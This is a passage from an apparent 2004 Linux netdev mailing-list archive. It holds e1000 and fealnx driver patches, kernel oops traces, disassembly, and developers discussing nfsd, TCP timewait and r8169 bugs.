tx_ring->next_to_use; - while(len) { + while(len && count < E1000_DESC_UNUSED(&adapter->tx_ring)) { buffer_info = &tx_ring->buffer_info[i]; size = min(len, max_per_txd); #ifdef NETIF_F_TSO @@ -1619,7 +1619,7 @@ len = frag->size; offset = frag->page_offset; - while(len) { + while(len && count < E1000_DESC_UNUSED(&adapter->tx_ring)) { buffer_info = &tx_ring->buffer_info[i]; size = min(len, max_per_txd); #ifdef NETIF_F_TSO --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=e1000_tso_hack diff -urN ppc64-linux-2.5.orig/drivers/net/e1000/e1000.h ppc64-linux-2.5/drivers/net/e1000/e1000.h --- ppc64-linux-2.5.orig/drivers/net/e1000/e1000.h 2004-02-26 22:14:44.000000000 +1100 +++ ppc64-linux-2.5/drivers/net/e1000/e1000.h 2004-03-09 12:58:53.000000000 +1100 @@ -246,5 +246,9 @@ uint32_t pci_state[16]; + + /* TSO hack */ + unsigned long tso_hack_dma, tso_hack_len; + struct sk_buff *tso_hack_skb; }; #endif /* _E1000_H_ */ diff -urN ppc64-linux-2.5.orig/drivers/net/e1000/e1000_main.c ppc64-linux-2.5/drivers/net/e1000/e1000_main.c --- ppc64-linux-2.5.orig/drivers/net/e1000/e1000_main.c 2004-02-26 22:14:44.000000000 +1100 +++ ppc64-linux-2.5/drivers/net/e1000/e1000_main.c 2004-03-09 13:01:06.000000000 +1100 @@ -2200,17 +2200,25 @@ if(buffer_info->dma) { - pci_unmap_page(pdev, - buffer_info->dma, - buffer_info->length, + if (adapter->tso_hack_dma) { + pci_unmap_page(pdev, + adapter->tso_hack_dma, + adapter->tso_hack_len, PCI_DMA_TODEVICE); + } + adapter->tso_hack_dma = buffer_info->dma; + adapter->tso_hack_len = buffer_info->length; buffer_info->dma = 0; } if(buffer_info->skb) { - dev_kfree_skb_any(buffer_info->skb); + if (adapter->tso_hack_skb) + dev_kfree_skb_any( + adapter->tso_hack_skb); + + adapter->tso_hack_skb = buffer_info->skb; buffer_info->skb = NULL; } --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=e1000_tx_spinlock # ChangeSet # 2004/02/04 03:05:56-05:00 scott.feldman@intel.com # [netdrvr e1000] tx_lock # # * Fix race in Tx performance path with tx_lock. Between checking # if we're out of resources and stopping the queue, we can get # a hard interrupt which will clean up all Tx work, and wake # the queue. Coming out of hard interrupt context, we stop the # queue even though no work was queued, and all work completed # has been cleaned up. Scenario requires ring to be completely # filled, which is more likely to happen with TSO, since each # TSO send consumes multiple ring entries. # # drivers/net/e1000/e1000_main.c # 2004/02/02 15:08:10-05:00 scott.feldman@intel.com +12 -0 # tx_lock # # drivers/net/e1000/e1000.h # 2004/02/02 15:07:29-05:00 scott.feldman@intel.com +1 -0 # tx_lock # diff -Nru a/drivers/net/e1000/e1000.h b/drivers/net/e1000/e1000.h --- a/drivers/net/e1000/e1000.h Sat Feb 28 18:40:30 2004 +++ b/drivers/net/e1000/e1000.h Sat Feb 28 18:40:30 2004 @@ -202,6 +202,7 @@ /* TX */ struct e1000_desc_ring tx_ring; + spinlock_t tx_lock; uint32_t txd_cmd; uint32_t tx_int_delay; uint32_t tx_abs_int_delay; diff -Nru a/drivers/net/e1000/e1000_main.c b/drivers/net/e1000/e1000_main.c --- a/drivers/net/e1000/e1000_main.c Sat Feb 28 18:40:30 2004 +++ b/drivers/net/e1000/e1000_main.c Sat Feb 28 18:40:30 2004 @@ -678,6 +678,7 @@ atomic_set(&adapter->irq_sem, 1); spin_lock_init(&adapter->stats_lock); + spin_lock_init(&adapter->tx_lock); return 0; } @@ -1765,6 +1766,7 @@ struct e1000_adapter *adapter = netdev->priv; unsigned int first; unsigned int tx_flags = 0; + unsigned long flags; int count; if(skb->len <= 0) { @@ -1772,10 +1774,13 @@ return 0; } + spin_lock_irqsave(&adapter->tx_lock, flags); + if(adapter->hw.mac_type == e1000_82547) { if(e1000_82547_fifo_workaround(adapter, skb)) { netif_stop_queue(netdev); mod_timer(&adapter->tx_fifo_stall_timer, jiffies); + spin_unlock_irqrestore(&adapter->tx_lock, flags); return 1; } } @@ -1796,11 +1801,14 @@ e1000_tx_queue(adapter, count, tx_flags); else { netif_stop_queue(netdev); + spin_unlock_irqrestore(&adapter->tx_lock, flags); return 1; } netdev->trans_start = jiffies; + spin_unlock_irqrestore(&adapter->tx_lock, flags); + return 0; } @@ -2154,6 +2162,8 @@ unsigned int i, eop; boolean_t cleaned = FALSE; + spin_lock(&adapter->tx_lock); + i = tx_ring->next_to_clean; eop = tx_ring->buffer_info[i].next_to_watch; eop_desc = E1000_TX_DESC(*tx_ring, eop); @@ -2197,6 +2207,8 @@ if(cleaned && netif_queue_stopped(netdev) && netif_carrier_ok(netdev)) netif_wake_queue(netdev); + + spin_unlock(&adapter->tx_lock); return cleaned; } --45Z9DzgjV8m4Oswq-- From torvalds@osdl.org Sat Mar 27 18:31:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 18:31:07 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2S2V2KO016567 for ; Sat, 27 Mar 2004 18:31:02 -0800 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i2S2Ui213283; Sat, 27 Mar 2004 18:30:44 -0800 Date: Sat, 27 Mar 2004 18:30:44 -0800 (PST) From: Linus Torvalds To: "David S. Miller" , Trond Myklebust , Neil Brown , Andrew Morton cc: netdev@oss.sgi.com Subject: Re: nfsd oops with 2.6.5-rc2-mm4 In-Reply-To: <20040327130757.GA6760@c9x.org> Message-ID: References: <20040327130757.GA6760@c9x.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4295 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev Content-Length: 3175 Lines: 92 This oops is on a lock incl 0x4(%edx) and as far as I can tell, it's from do_tcp_sendpages(): .... i = skb_shinfo(skb)->nr_frags; if (can_coalesce(skb, i, page, offset)) { skb_shinfo(skb)->frags[i - 1].size += copy; } else if (i < MAX_SKB_FRAGS) { ********* get_page(page); *************** fill_page_desc(skb, i, page, offset, copy); } else { tcp_mark_push(tp, skb); goto new_segment; } ... where "page" is NULL. The caller seems to be svc_sendto()->tcp_sendpage()->do_tcp_sendpages() (the other addresses seem to be stale crud on the stack), which doesn't look like it has changed lately. Unless there are changes in this area in -mm.. Any ideas? Linus ----- Jedi/Sector One On Sat, 27 Mar 2004, Jedi/Sector One wrote: > > Hello. > > I got a reproducible oops after a few minutes with a 2.6.5-rc2-mm4 kernel. > > /etc/exports : > /mnt/data 10.42.42.0/24(rw,async,no_subtree_check,root_squash, > anonuid=10000,anongid=10000) > > Clients are 2.6.5-rc2-mm2 kernels, filesystem is ReiserFS 3, data=writeback. > Exports are mounted with tcp,nolock,soft,timeo=600,retrans=2,actimeo=30, > rsize=32768,wsize=32768. > > Once the oops has happened, no client can access the mount point any more. > > Unable to handle kernel NULL pointer dereference at virtual address 00000004 > printing eip: > c029fd35 > *pde = 00000000 > Oops: 0002 [#1] > SMP > CPU: 0 > EIP: 0060:[] Not tainted VLI > EFLAGS: 00010287 (2.6.5-rc2-mm4) > EIP is at do_tcp_sendpages+0x197/0xa79 > eax: d1d24108 ebx: f5e3fd80 ecx: 00000008 edx: 00000000 > esi: 00000001 edi: d1d24100 ebp: f72391ec esp: f6283e34 > ds: 007b es: 007b ss: 0068 > Process nfsd (pid: 3330, threadinfo=f6283000 task=f62962b0) > Stack: 000000d0 000000d0 00000000 00000000 15270000 c01e6a8d d1d24110 f7239064 > 00000008 00000000 00000000 00000000 000005b4 00007530 00000000 f7239000 > 00000008 00000000 c02a069f f7239000 f6283eac 00000000 00000008 00000000 > Call Trace: > [] nfsd_readdir+0x69/0xe8 > [] tcp_sendpage+0x88/0x96 > [] svc_sendto+0x16a/0x29e > [] encode_post_op_attr+0x1c9/0x241 > [] svc_tcp_sendto+0x53/0xa8 > [] svc_send+0xb9/0xfc > [] svcauth_unix_release+0x57/0x59 > [] svc_process+0x187/0x611 > [] nfsd+0x1ea/0x3b6 > [] nfsd+0x0/0x3b6 > [] kernel_thread_helper+0x5/0xb > > Code: 4c 24 20 85 f6 74 17 8d 04 f7 8d 50 08 89 54 24 18 8b 54 24 28 3b 50 08 0f 84 80 08 00 00 83 fe 11 0f 87 25 04 00 00 8b 54 24 28 ff 42 04 8b 7c 24 28 8b 83 98 00 00 00 8d 04 f0 89 78 10 8d > > Best regards, > > -Frank. > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > From akpm@osdl.org Sat Mar 27 18:49:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 27 Mar 2004 18:49:03 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2S2mvKO017500 for ; Sat, 27 Mar 2004 18:49:00 -0800 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i2S2md215641; Sat, 27 Mar 2004 18:48:39 -0800 Date: Sat, 27 Mar 2004 18:48:40 -0800 From: Andrew Morton To: Linus Torvalds Cc: davem@redhat.com, trond.myklebust@fys.uio.no, neilb@cse.unsw.edu.au, netdev@oss.sgi.com, fdenis@skyrock.fr Subject: Re: nfsd oops with 2.6.5-rc2-mm4 Message-Id: <20040327184840.20d9e282.akpm@osdl.org> In-Reply-To: References: <20040327130757.GA6760@c9x.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4296 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 1270 Lines: 38 Linus Torvalds wrote: > > > This oops is on a > > lock incl 0x4(%edx) > > and as far as I can tell, it's from do_tcp_sendpages(): > > .... > > i = skb_shinfo(skb)->nr_frags; > if (can_coalesce(skb, i, page, offset)) { > skb_shinfo(skb)->frags[i - 1].size += copy; > } else if (i < MAX_SKB_FRAGS) { > ********* get_page(page); *************** > fill_page_desc(skb, i, page, offset, copy); > } else { > tcp_mark_push(tp, skb); > goto new_segment; > } > ... > > where "page" is NULL. > > The caller seems to be svc_sendto()->tcp_sendpage()->do_tcp_sendpages() > (the other addresses seem to be stale crud on the stack), which doesn't > look like it has changed lately. Unless there are changes in this area in > -mm.. There are some knfsd patches in -mm. This one might be the cuplrit: ftp://ftp.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.5-rc2/2.6.5-rc2-mm4/broken-out/knfsd-03-auth_error-formatting-fix.patch Frank, if you have time it would be interesting to try reverting that (and the other knfsd-* patches), see if the crash goes away. From j@c9x.org Sun Mar 28 00:05:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 00:05:47 -0800 (PST) Received: from b.mx.42-networks.com (minidentd@gw.c9x.org [213.41.131.17]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2S85ZKO030725 for ; Sun, 28 Mar 2004 00:05:36 -0800 Received: (qmail 7794 invoked for bounce); 28 Mar 2004 10:05:31 +0200 Received: from qmail by qscan (mail filter); 28 Mar 2004 08:05:53 +0000 Received: from [10.1.1.21] (HELO c9x.org) (10.1.1.21) by pureftpd.org (qpsmtpd/0.27.1) with ESMTP; Sun, 28 Mar 2004 10:05:30 +0200 Received: (from j@localhost) by c9x.org (8.12.11/8.12.11/Submit) id i2S85Nas003779; Sun, 28 Mar 2004 10:05:01 +0200 (CEST) From: Frank Denis To: Andrew Morton Subject: Re: nfsd oops with 2.6.5-rc2-mm4 Date: Sun, 28 Mar 2004 10:04:23 +0159 User-Agent: KMail/1.6.1 Cc: Linus Torvalds , davem@redhat.com, trond.myklebust@fys.uio.no, neilb@cse.unsw.edu.au, netdev@oss.sgi.com References: <20040327130757.GA6760@c9x.org> <20040327184840.20d9e282.akpm@osdl.org> In-Reply-To: <20040327184840.20d9e282.akpm@osdl.org> X-Operating-System: OpenBSD - http://www.openbsd.org/ MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Message-Id: <200403281005.01064.jedi@orbus.fr> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2S85ZKO030725 X-archive-position: 4297 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jedi@orbus.fr Precedence: bulk X-list: netdev Content-Length: 305 Lines: 9 Le dimanche 28 Mars 2004 04:48, Andrew Morton a écrit : > This one might be the cuplrit: > ftp://ftp.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.5-rc2/2.6 >.5-rc2-mm4/broken-out/knfsd-03-auth_error-formatting-fix.patch Bad pick, same oops when that one is reverted. Let's try other ones... From davem@redhat.com Sun Mar 28 01:36:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 01:36:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2S9aEKO004048 for ; Sun, 28 Mar 2004 01:36:15 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2S9aE1X030514; Sun, 28 Mar 2004 04:36:14 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2S9aEj11795; Sun, 28 Mar 2004 04:36:14 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2S9Zd1n014326; Sun, 28 Mar 2004 04:35:54 -0500 Date: Sun, 28 Mar 2004 01:35:49 -0800 From: "David S. Miller" To: Nivedita Singhvi Cc: netdev@oss.sgi.com, bkon@us.ibm.com, jgrimm@us.ibm.com, jgarvey@us.ibm.com Subject: Re: TCP hang in timewait processing Message-Id: <20040328013549.58c32b63.davem@redhat.com> In-Reply-To: <40660DF7.9090806@us.ibm.com> References: <40660DF7.9090806@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4298 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 823 Lines: 21 On Sat, 27 Mar 2004 15:27:51 -0800 Nivedita Singhvi wrote: > Any ideas, pointers would be very much appreciated! One thing that makes timewait bucket garbage collection interesting is that the node can be reached from two spots, the death row list and the TCP hash chains via packet input processing. So you have to see if scenerios like the following are possible: 1) TW death worker thread choose tw X to be killed, drops tw_death_lock 2) packet input hits tw X, packet is reset which kills the tw 3) packet input thus tries to remove tw X from the death row list too and put it You get the idea. We had a similar bug recently in the 2.6.x tree but that was due to a bug in the tw-kill-via-worker-thread code which is not in 2.4.x unless someone patched it into the 2.4.x tree you are using :-) From vda@port.imtp.ilyichevsk.odessa.ua Sun Mar 28 12:45:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 12:45:14 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2SKj5KO002659 for ; Sun, 28 Mar 2004 12:45:07 -0800 Received: (qmail 5423 invoked by alias); 28 Mar 2004 20:20:01 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 28 Mar 2004 20:20:01 -0000 From: Denis Vlasenko To: Francois Romieu Subject: Re: fealnx oopses Date: Sun, 28 Mar 2004 22:19:56 +0200 User-Agent: KMail/1.5.4 Cc: Jeff Garzik , Andreas Henriksson , netdev@oss.sgi.com References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403272328.51291.vda@port.imtp.ilyichevsk.odessa.ua> <20040328005533.A6117@electric-eye.fr.zoreil.com> In-Reply-To: <20040328005533.A6117@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_sNzZAIeDI9IXpk2" Message-Id: <200403282219.56799.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4299 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 7685 Lines: 220 --Boundary-00=_sNzZAIeDI9IXpk2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline On Sunday 28 March 2004 01:55, Francois Romieu wrote: > Denis Vlasenko : > [...] > > > Sorry Jeff your patch does not fix my problem. > > I also verified that it happens this way: > > (1) rx skb is processed and freed > > (2) allocation failure for new skb > > (3) next rx intr occurs, cur_rx->skbuff still == NULL > > (4) oops > > Your previous analysis made sense: the logic responsible for low memory > handling is broken in several ways. > > Patch against2.6.5-rc2-mm3 below, without warranty I tested on 2.4.25, patch applied with minimal manual correction in last hunk (rediffed patch attached). Patched driver oopses in allocate_rx_buffers() shortly after boot, before I can login. It dies here (sorry, only objdump for now, I am -EBADLYNEEDTOSLEEP. Can track it to src line tomorrow): 0000065c : 65c: 55 push %ebp 65d: 89 e5 mov %esp,%ebp 65f: 56 push %esi 660: 53 push %ebx 661: 8b 75 08 mov 0x8(%ebp),%esi 664: 8b 5e 6c mov 0x6c(%esi),%ebx 667: 83 bb 9c 00 00 00 0c cmpl $0xc,0x9c(%ebx) 66e: 0f 84 8a 00 00 00 je 6fe 674: 6a 20 push $0x20 676: 8b 83 b0 00 00 00 mov 0xb0(%ebx),%eax 67c: 83 c0 10 add $0x10,%eax 67f: 50 push %eax 680: e8 fc ff ff ff call 681 685: 85 c0 test %eax,%eax 687: 5a pop %edx 688: 59 pop %ecx 689: 74 73 je 6fe 68b: 83 80 84 00 00 00 10 addl $0x10,0x84(%eax) 692: 83 80 88 00 00 00 10 addl $0x10,0x88(%eax) 699: 85 c0 test %eax,%eax 69b: 74 61 je 6fe 69d: 8b 93 98 00 00 00 mov 0x98(%ebx),%edx 6a3: 8b 4a 14 mov 0x14(%edx),%ecx ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ %edx == 0 here 6a6: 85 c9 test %ecx,%ecx 6a8: 74 12 je 6bc 6aa: 89 f6 mov %esi,%esi 6ac: 8b 52 10 mov 0x10(%edx),%edx 6af: 89 93 98 00 00 00 mov %edx,0x98(%ebx) 6b5: 8b 4a 14 mov 0x14(%edx),%ecx 6b8: 85 c9 test %ecx,%ecx 6ba: 75 f0 jne 6ac 6bc: 89 42 14 mov %eax,0x14(%edx) 6bf: 89 70 18 mov %esi,0x18(%eax) 6c2: 8b 93 98 00 00 00 mov 0x98(%ebx),%edx 6c8: 8b 80 88 00 00 00 mov 0x88(%eax),%eax 6ce: f0 83 44 24 00 00 lock addl $0x0,0x0(%esp,1) 6d4: 05 00 00 00 40 add $0x40000000,%eax 6d9: 89 42 08 mov %eax,0x8(%edx) 6dc: 8b 83 98 00 00 00 mov 0x98(%ebx),%eax 6e2: c7 00 00 00 00 80 movl $0x80000000,(%eax) 6e8: 8b 83 9c 00 00 00 mov 0x9c(%ebx),%eax 6ee: 40 inc %eax 6ef: 83 f8 0c cmp $0xc,%eax 6f2: 89 83 9c 00 00 00 mov %eax,0x9c(%ebx) 6f8: 0f 85 76 ff ff ff jne 674 6fe: 8d 65 f8 lea 0xfffffff8(%ebp),%esp ... -- vda --Boundary-00=_sNzZAIeDI9IXpk2 Content-Type: text/x-diff; charset="iso-8859-1"; name="fealnx_oom.24.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="fealnx_oom.24.patch" --- fealnx.c.orig Fri Nov 28 20:26:20 2003 +++ fealnx.c Sun Mar 28 21:32:56 2004 @@ -1134,15 +1134,17 @@ struct sk_buff *skb; skb = dev_alloc_skb(np->rx_buf_sz); - np->lack_rxbuf->skbuff = skb; - if (skb == NULL) break; /* Better luck next round. */ + while (np->lack_rxbuf->skbuff) + np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->skbuff = skb; + skb->dev = dev; /* Mark as being used by this device. */ np->lack_rxbuf->buffer = pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->status = RXOWN; ++np->really_rx_count; } } @@ -1380,33 +1382,22 @@ return 0; } - -void free_one_rx_descriptor(struct netdev_private *np) -{ - if (np->really_rx_count == RX_RING_SIZE) - np->cur_rx->status = RXOWN; - else { - np->lack_rxbuf->skbuff = np->cur_rx->skbuff; - np->lack_rxbuf->buffer = np->cur_rx->buffer; - np->lack_rxbuf->status = RXOWN; - ++np->really_rx_count; - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; - } - np->cur_rx = np->cur_rx->next_desc_logical; -} - - void reset_rx_descriptors(struct net_device *dev) { struct netdev_private *np = dev->priv; + struct fealnx_desc *cur = np->cur_rx; + int i; stop_nic_rx(dev->base_addr, np->crvalue); - while (!(np->cur_rx->status & RXOWN)) - free_one_rx_descriptor(np); - allocate_rx_buffers(dev); + for (i = 0; i < RX_RING_SIZE; i++) { + if (cur->skbuff) + cur->status = RXOWN; + cur = cur->next_desc_logical; + } + writel(np->rx_ring_dma + (np->cur_rx - np->rx_ring), dev->base_addr + RXLBA); writel(np->crvalue, dev->base_addr + TCRRCR); @@ -1576,7 +1567,7 @@ struct netdev_private *np = dev->priv; /* If EOP is set on the next entry, it's a new packet. Send it up. */ - while (!(np->cur_rx->status & RXOWN)) { + while (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) { s32 rx_status = np->cur_rx->status; if (np->really_rx_count == 0) @@ -1628,8 +1619,15 @@ np->stats.rx_length_errors++; /* free all rx descriptors related this long pkt */ - for (i = 0; i < desno; ++i) - free_one_rx_descriptor(np); + for (i = 0; i < desno; ++i) { + if (!np->cur_rx->skbuff) { + printk(KERN_DEBUG + "%s: I'm scared\n", dev->name); + break; + } + np->cur_rx->status = RXOWN; + np->cur_rx = np->cur_rx->next_desc_logical; + } continue; } else { /* something error, need to reset this chip */ reset_rx_descriptors(dev); @@ -1671,8 +1669,6 @@ } else { skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; - if (np->really_rx_count == RX_RING_SIZE) - np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } skb->protocol = eth_type_trans(skb, dev); @@ -1682,22 +1678,7 @@ np->stats.rx_bytes += pkt_len; } - if (np->cur_rx->skbuff == NULL) { - struct sk_buff *skb; - - skb = dev_alloc_skb(np->rx_buf_sz); - - if (skb != NULL) { - skb->dev = dev; /* Mark as being used by this device. */ - np->cur_rx->buffer = pci_map_single(np->pci_dev, skb->tail, - np->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->cur_rx->skbuff = skb; - ++np->really_rx_count; - } - } - - if (np->cur_rx->skbuff != NULL) - free_one_rx_descriptor(np); + np->cur_rx = np->cur_rx->next_desc_logical; } /* end of while loop */ /* allocate skb for rx buffers */ --Boundary-00=_sNzZAIeDI9IXpk2-- From romieu@fr.zoreil.com Sun Mar 28 15:25:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 15:25:27 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2SNPMKO006829 for ; Sun, 28 Mar 2004 15:25:23 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2SNOxgf026986; Mon, 29 Mar 2004 01:24:59 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2SNOwXA026985; Mon, 29 Mar 2004 01:24:58 +0200 Date: Mon, 29 Mar 2004 01:24:58 +0200 From: Francois Romieu To: "markes.albert@libero.it" Cc: netdev Subject: Re: Net module Realtek 8110S/8169S Message-ID: <20040329012458.A24996@electric-eye.fr.zoreil.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from markes.albert@libero.it on Sun, Mar 28, 2004 at 08:54:19PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4301 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 2896 Lines: 70 markes.albert@libero.it : [...] > after your e-mail, I redo the test with kernel 2.6.4-vanilla unchanged and > in console mode (without X) I have no problem. I don't understand because the > problem some day ago raise in console and with X. In my test the problem raise > always when I copy file in KDE to PC by smbclient. So I think the problem was X > but with kernel 2.6.3 the problem don't raise. The system hang and the only ^ -> 4 I guess ? r8169 in 2.6.3 has a bug which is fixed in 2.6.4. > option is hardware-reset, nothing ping not respond and led do not change nay more. > I do the thing you told me with kernel unchanged > dd if=/dev/hda of=/dev/null bs=1024k.... go well > dd if=/myfile of=/newfile ok > transfer (console) ok Ok. Let's assume this rules out the disk susbsystem. > Retry with X > transfer KO With 2.6.4 or 2.6.3 (I am lost here) ? > I recompile kernel as you told me. > > Processor type and features ---> > > [...] > > x x[ ] Symmetric multi-processing support x x > > x x[ ] Preemptible Kernel x x > > x x[*] Local APIC support on uniprocessors x x > > > > Enable as well: > > > > Kernel hacking ---> > > [...] > > x x [*] Magic SysRq key x x > retray test with KDE and the problem don't raise. > > When the problem raised I saw in the kernel-changelog change in module r8169 so > I thoungh the problem was NIC-module, the only change from two configuration. > Now I only raise the problem (without your change) with KDE... I don't > understand if is NIC or X-KDE problem. > Can you help me to find who hang my system? 1 - use at least 2.6.4 or (better for r8169) 2.6.5-rcX-mm-something 2 - if something corrupts the descriptor rings of the r8169, it can lock the computer really hard. You _should_ apply the patch I sent. If something wicked happens, it may spit messages (dmesg/syslog). It is really important for debugging that this patch is applied. I hope I made this point clear :o) 3 - if you can reproduce the bug with 2.6.5-rcX-mm + extra patch, nmi_watchdog being enabled (do not forget to pass the "nmi_watchdog=1" option to the command line and check that it works as suggested in the previous message), nmi_watchdog may break some lock. Please report if the magic sysrq has any effect on the locked machine. Verify that your syslog daemon does not buffer writes and that it catches the kernel messages. If you have a serial cable, it can help. > I attach dmeg and lspci [...] > 01:00.0 VGA compatible controller: nVidia Corporation NV17 [GeForce4 MX 440] (re v a3) Can you send 'lsmod' output once X is started (not necessarily with KDE) ? -- Ueimor From gem@scream.fjortis.info Sun Mar 28 15:25:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 28 Mar 2004 15:25:05 -0800 (PST) Received: from scream.fjortis.info (1-1-1-9a.ghn.gbg.bostream.se [82.182.69.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2SNOxKO006779 for ; Sun, 28 Mar 2004 15:25:00 -0800 Received: from gem by scream.fjortis.info with local (Exim 4.30) id 1B7jgJ-0004aY-8q; Mon, 29 Mar 2004 01:27:07 +0200 Date: Mon, 29 Mar 2004 01:27:07 +0200 From: Andreas Henriksson To: Denis Vlasenko Cc: Francois Romieu , Jeff Garzik , Andreas Henriksson , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040328232707.GA17524@scream.fjortis.info> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403272328.51291.vda@port.imtp.ilyichevsk.odessa.ua> <20040328005533.A6117@electric-eye.fr.zoreil.com> <200403282219.56799.vda@port.imtp.ilyichevsk.odessa.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200403282219.56799.vda@port.imtp.ilyichevsk.odessa.ua> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4300 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andreas@fjortis.info Precedence: bulk X-list: netdev Content-Length: 4523 Lines: 155 On Sun, Mar 28, 2004 at 10:19:56PM +0200, Denis Vlasenko wrote: > I tested on 2.4.25, patch applied with minimal manual correction > in last hunk (rediffed patch attached). I tested on 2.6.5-rc2-bk7 ... with both jeffs (which was exactly the same patch I had except for removing the return at the end of the void 